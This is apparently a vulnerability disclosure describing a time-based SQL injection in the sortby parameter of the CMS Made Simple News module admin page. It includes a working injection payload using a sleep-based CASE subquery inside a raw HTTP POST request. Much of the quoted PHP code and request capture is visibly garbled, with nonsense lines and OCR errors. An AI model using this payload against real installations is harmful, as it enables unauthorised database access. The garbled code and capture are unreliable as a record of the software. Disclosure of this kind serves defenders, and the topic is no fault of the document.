SQL injection

Author: Riccardo Krauter @ SOTER IT Security

The vulnerability is located in the modules/News/function.admin_articlestab.php file.

```
if( isset($params['submitfilter']) ) {
    //die("im here!");
    if( isset( $params['category']) ) {
        $this->SetPreference('article_category',trim($params['category']));
    }
    if( isset( $params['sortby'] ) ) {
        $this->SetPreference('article_sortby', str_replace("'",'_',$params['sortby']));
}

it( isset( $params[ page::mit ] ) ) {
        $this->SetPreference('article_page::mit',(int)$params['page::mit']);
}

$allcategories = (isset($params['allcategories'])?$params['allcategories']:'no');

$this->SetPreference('allcategories',$allcategories);

unset($_SESSION['news_pagenumber']);

$pagenumber = 1;
}

$blue = 1;
}
$blue = 1;
}
$clue = 1;
$
```

The sortby parameter is sanitized by replacing the 'with the character. As it is possible to notice the \$sortby variable is concatenated with \$query1, but it is possible to inject arbitrary SQL language without using the '. As proof of concept, please consider the following screen-shot

```
====
   Pretty Raw \n Actions V
                                                                                                                                                                                                                                                Pretty Raw Render \n Actions ✓
    l POST /cms_made_simple/admin/moduleinterface.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101
Firefox/85.0
                                                                                                                                                                                                                                                    THITP/1.1 200 OK
2 Date: Mon, 22 Feb 2021 15:34:02 CMT
3 Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34
4 X-Powered-By: PHP/7.2.34
5 Expires: Thu, 19 Nov 1981 08:52:00 CMT
6 Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform 7 Pragma: no-cache
8 Connection: close
9 Content-Type: text/fimil: charset-utf-8
     Firefox/85.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-tanguage: it=TT,it;q=0.8,en=US;q=0.5,en;q=0.3

Accept-Encoding: grip, deflate

Referen: http://localhost/
Content-Type: application/x-www-form-urlencoded

Content-Length: 174

Origin: http://localhost

Connection: close

(Conkie: ff890f4f7878718718727cr58471050b50-
                                                                                                                                                                                                                                                   9 Content-Type: text/html; charset=utf-8
10 Content-Length: 28422
    0 Origin: http://localhost
L Connection: close
2 Cookre: ff639f4f228716daec28f1822cacSe3d71050b50=
2 Cookre: ff639f4f228716daec28f1822cacSe3d71050b50=
55604283C0e3576d6da4c221e341ba37ffd0ca45%3A%3Aey1JaWQ10jESInVzZXJJYWL1TjoiYWRtaW4ILCJ
17m2fd4kTjpudxxSLc13Tm2fdxN1cm5hbw10m51b0xSTmhhc2gi0iTkMnkkMTAkcj1pdE91S2hkcC5ncXlT
MnsWAC9DZwhtQV1awkS0eWthXC9NkjQ1NXJBNkSFW03WjBcL1dxYSJ9; __c-ff1082652efd504c99c;
CMSICa476a3ecd4-h100aca4hq14643601nanhfauf; CMSSESSIDd898fd1aa321=
cctu34pd11gkv132dogd9dy1
3 Upprade-Insecure-Requests: 1
                                                                                                                                                                                                                                                   12 <! doctype html>
                                                                                                                                                                                                                                                                         lang="" dir="ltr">
                                                                                                                                                                                                                                                      <head>
      mact-News,ml_,defaultadmin,0&_c=ff1082652efdS04c99c&ml_category=&ml_sortby=(SELECT (CASE WHEN 1=1 THEN sleep(2) ELSE news_id END)) -- &ml_pagelimit=10&ml_submitfilter=Submit
                                                                                                                                                                                                                                                 crink rel = apple-couch-room inel=
http://localhost/cms.made_simple/admin/themes/OneEleven/images/favicon/apple-touch
-lcon-iphone.png' />
clink rel='apple-touch-icon' sizes='72x72' href='
http://localhost/cms.made_simple/admin/themes/OneEleven/images/favicon/apple-touch
?{\hookrightarrow} \leftarrow \rightarrow Search.
                                                                                                                                                                                                                0 matches ②②←→ select
```

Notice that the server will sleep for 4 seconds since the query has two results (row).

• time based payload payload: (SELECT (CASE WHEN 1=1 THEN sleep(2) ELSE news_id END)) --